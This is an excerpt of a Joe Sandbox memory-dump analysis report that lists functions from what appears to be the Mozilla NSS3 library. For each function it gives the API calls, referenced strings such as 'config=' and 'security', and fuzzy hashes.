PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6850A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6850B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2), ref: 6C6850CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6850D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6850F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685153
free.MOZGLUE(?), ref: 6C68516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C68517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C685195

Strings

config=, xrefs: 6C68509B
parameters=, xrefs: 6C68506B
name=, xrefs: 6C685057
library=, xrefs: 6C685043
nss=, xrefs: 6C685083

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d8de8b461157aa7b91d990211ae905b8b3ff21b15f69ee09b470efab7ca203a4
Instruction ID: 140e7bafc6b63eebe567afb9d2653a6b7618ece63f78fc8c17ab1880aba10e4a
Opcode Fuzzy Hash: d8de8b461157aa7b91d990211ae905b8b3ff21b15f69ee09b470efab7ca203a4
Instruction Fuzzy Hash: 2251C6B5A022155BFB01DF24DC45AEF37A8AF0A349F140031EC56E7B41EB25E919C7BA

Function 6C684C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C5B
PR_smprintf.NSS3(6C75AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C684D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C684DA2
free.MOZGLUE(?), ref: 6C684DB9
free.MOZGLUE(00000000), ref: 6C684DCF

Strings

%s,%s, xrefs: 6C684C4B
rust, xrefs: 6C684D22
every, xrefs: 6C684CA1
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C684D9D
0x%08lx=[%s %s], xrefs: 6C684D80
slotFlags, xrefs: 6C684D34
timeout, xrefs: 6C684C91
rootFlags, xrefs: 6C684D47
any, xrefs: 6C684C96
ootT, xrefs: 6C684D1A

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: bd410987731be97355c315fb71977247ec35522acfa5fa3afabfe7eee9c729b9
Instruction ID: ae133134ca70e6f88496ed3b20d6c89076a00cfdef07beb8aed4234c23bdd083
Opcode Fuzzy Hash: bd410987731be97355c315fb71977247ec35522acfa5fa3afabfe7eee9c729b9
Instruction Fuzzy Hash: F441BBB1D011456BDB129F249C54ABB3ABDAF86349F494134EC0A1BB01EBB1D924C7FB

Function 6C666CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C666943
Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C666957
Part of subcall function 6C666910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C666972
Part of subcall function 6C666910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C666983
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6669AA
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6669BE
Part of subcall function 6C666910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6669D2
Part of subcall function 6C666910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6669DF
Part of subcall function 6C666910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C666A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C666D8C
free.MOZGLUE(00000000), ref: 6C666DC5
free.MOZGLUE(?), ref: 6C666DD6
free.MOZGLUE(?), ref: 6C666DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C666E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666E72
free.MOZGLUE(?), ref: 6C666EA7
free.MOZGLUE(?), ref: 6C666EC4
free.MOZGLUE(?), ref: 6C666ED5
free.MOZGLUE(00000000), ref: 6C666EE3
free.MOZGLUE(?), ref: 6C666EF4
free.MOZGLUE(?), ref: 6C666F08
free.MOZGLUE(00000000), ref: 6C666F35
free.MOZGLUE(?), ref: 6C666F44
free.MOZGLUE(?), ref: 6C666F5B
free.MOZGLUE(00000000), ref: 6C666F65

Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C66781D,00000000,6C65BE2C,?,6C666B1D,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C40
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?), ref: 6C666C58
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C6F
Part of subcall function 6C666C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C666C84
Part of subcall function 6C666C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C666C96
Part of subcall function 6C666C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C666CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C666FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C666FF4

Strings

+`gl, xrefs: 6C666D0D

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`gl
API String ID: 1304971872-1880681488
Opcode ID: e474a0831e6048a55a8a40e6f22883875dc1b2e7bd41475ce36a3808d2e445c6
Instruction ID: e5d1951c6e47db65dcc4b1229d360defcd6732c154de58ef4e611bbf5bc7f19c
Opcode Fuzzy Hash: e474a0831e6048a55a8a40e6f22883875dc1b2e7bd41475ce36a3808d2e445c6
Instruction Fuzzy Hash: 20B170B0E052199FDF01CBA6EC44B9EBBB9BF09349F140125E815E7E01E731E915CBA6

Function 6C611FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C612007
calloc.MOZGLUE(00000001,00000084), ref: 6C612077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6120DF
TlsSetValue.KERNEL32(00000000), ref: 6C612188
PR_NewCondVar.NSS3 ref: 6C6121B7
calloc.MOZGLUE(00000001,00000084), ref: 6C61221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6122C2
GetLastError.KERNEL32 ref: 6C6122CD
free.MOZGLUE(00000000), ref: 6C6122DD

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

Strings

X xl, xrefs: 6C61218E
T xl, xrefs: 6C612361

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T xl$X xl
API String ID: 3559583721-824639755
Opcode ID: a527f6611058af309debc0230e92016006b98b2947cdee9b6e3810db50a3a48c
Instruction ID: 92ef3f7c7bec3bfdbd90c4a5b0a70ef45bcfed90dd326b210d8a0818299d3623
Opcode Fuzzy Hash: a527f6611058af309debc0230e92016006b98b2947cdee9b6e3810db50a3a48c
Instruction Fuzzy Hash: FC915B706067118FEB219F388C0979B7BF4BB0B70AF20453AE65AD6E40EB709105CBA5

Function 6C62DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62DDDE

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C62DDF5

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C62DE34
PR_Now.NSS3 ref: 6C62DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C62DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C62DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C62DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C62DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C62DEF0
PR_smprintf.NSS3(6C75AAF9,(NULL) (Validity Unknown)), ref: 6C62DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C62DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C62DF33
free.MOZGLUE(00000000), ref: 6C62DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62DF4B
free.MOZGLUE(00000000), ref: 6C62DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6C62DEFA
{???}, xrefs: 6C62DE8B
%s%s, xrefs: 6C62DEEB

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 54751832288ea0e25435467624bf660d177cced1a4756bdfc2ea3664c969a0e9
Instruction ID: 9ee191d24f0f43f6060af041a91b4b8c2789970cc04debf0829b59c84f2ddc39
Opcode Fuzzy Hash: 54751832288ea0e25435467624bf660d177cced1a4756bdfc2ea3664c969a0e9
Instruction Fuzzy Hash: D851E3B1E001155BDB109E658C45AAF7AB4AF85358F144038EC09EBB01E735DD15CBFA

Function 6C662D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C662DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C662E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C662E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C662E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C,?,-00000001,00000000,?), ref: 6C662E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C,?,-00000001,00000000), ref: 6C662E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EF8
PR_Unlock.NSS3(?), ref: 6C662F62
TlsGetValue.KERNEL32 ref: 6C662F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C662F9E
PR_Unlock.NSS3(?), ref: 6C662FCA
TlsGetValue.KERNEL32 ref: 6C66301A
EnterCriticalSection.KERNEL32(?), ref: 6C66302E
PR_Unlock.NSS3(?), ref: 6C663066
PR_SetError.NSS3(00000000,00000000), ref: 6C663085
PR_Unlock.NSS3(?), ref: 6C6630EC
TlsGetValue.KERNEL32 ref: 6C66310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C663124
PR_Unlock.NSS3(?), ref: 6C66314C

Part of subcall function 6C649180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C67379E,?,6C649568,00000000,?,6C67379E,?,00000001,?), ref: 6C64918D
Part of subcall function 6C649180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C67379E,?,6C649568,00000000,?,6C67379E,?,00000001,?), ref: 6C6491A0

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

PR_SetError.NSS3(00000000,00000000), ref: 6C66316D

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: c1cf36b6e96593276d7f80aeaf24da7e3e64bc378e1ac911ab6b055afafd4fed
Instruction ID: 25cdb527e2f1bc24d5ffbef581f389198904ad4a529885b49fd09665e92161a5
Opcode Fuzzy Hash: c1cf36b6e96593276d7f80aeaf24da7e3e64bc378e1ac911ab6b055afafd4fed
Instruction Fuzzy Hash: A4F18DB1D00209AFDF01DF65D884B9ABBB4FF0A318F144179EC05A7B11E731A995CB96

Function 6C649FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C649FBE

Part of subcall function 6C622F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C622F0A
Part of subcall function 6C622F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C622F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C64A015

Part of subcall function 6C661940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C66563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C66195C
Part of subcall function 6C661940: EnterCriticalSection.KERNEL32(?,?,6C66563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C63EAC5,00000001), ref: 6C661970
Part of subcall function 6C661940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C63EAC5,00000001,?,6C63CE9B,00000001,6C63EAC5), ref: 6C6619A0

PL_FreeArenaPool.NSS3(?), ref: 6C64A067
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C64A055

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64A07E
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C64A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C64A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C64A0CF
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C64A12E
PL_FreeArenaPool.NSS3(?), ref: 6C64A140
PL_FinishArenaPool.NSS3(?), ref: 6C64A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64A158
PL_FinishArenaPool.NSS3(?), ref: 6C64A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C64A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C64A1B2
free.MOZGLUE(00000000), ref: 6C64A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C64A1D6

Part of subcall function 6C6655E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C63EAC5,00000001,?,6C63CE9B,00000001,6C63EAC5,00000003,-00000004,00000000,?,6C63EAC5), ref: 6C665627
Part of subcall function 6C6655E0: PR_CallOnce.NSS3(6C782AA4,6C6812D0,?,?,?,?,?,?,?,?,?,?,6C63EAC5,00000001,?,6C63CE9B), ref: 6C66564F
Part of subcall function 6C6655E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C63EAC5,00000001), ref: 6C665661
Part of subcall function 6C6655E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C63EAC5), ref: 6C6656AF

Strings

security, xrefs: 6C64A00F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: fe39ae38bbffbd34f31a80ad0d443e32f1e8951a54220cac37ca2a7e2190a38b
Instruction ID: dc5f1f477ff4316bf13102ed9fa3bdc46962f817941c90c61dd516a18de98f11
Opcode Fuzzy Hash: fe39ae38bbffbd34f31a80ad0d443e32f1e8951a54220cac37ca2a7e2190a38b
Instruction Fuzzy Hash: 2751F5B5E01209BBEB009AA4DC44BAF7378AF4670DF10C135E905ABB42E775D509C7AE

Function 6C664C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C664C4C
EnterCriticalSection.KERNEL32(?), ref: 6C664C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C664CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664DB7

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

TlsGetValue.KERNEL32 ref: 6C664DD7
EnterCriticalSection.KERNEL32(?), ref: 6C664DEC
PR_Unlock.NSS3(?), ref: 6C664E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C664E2F
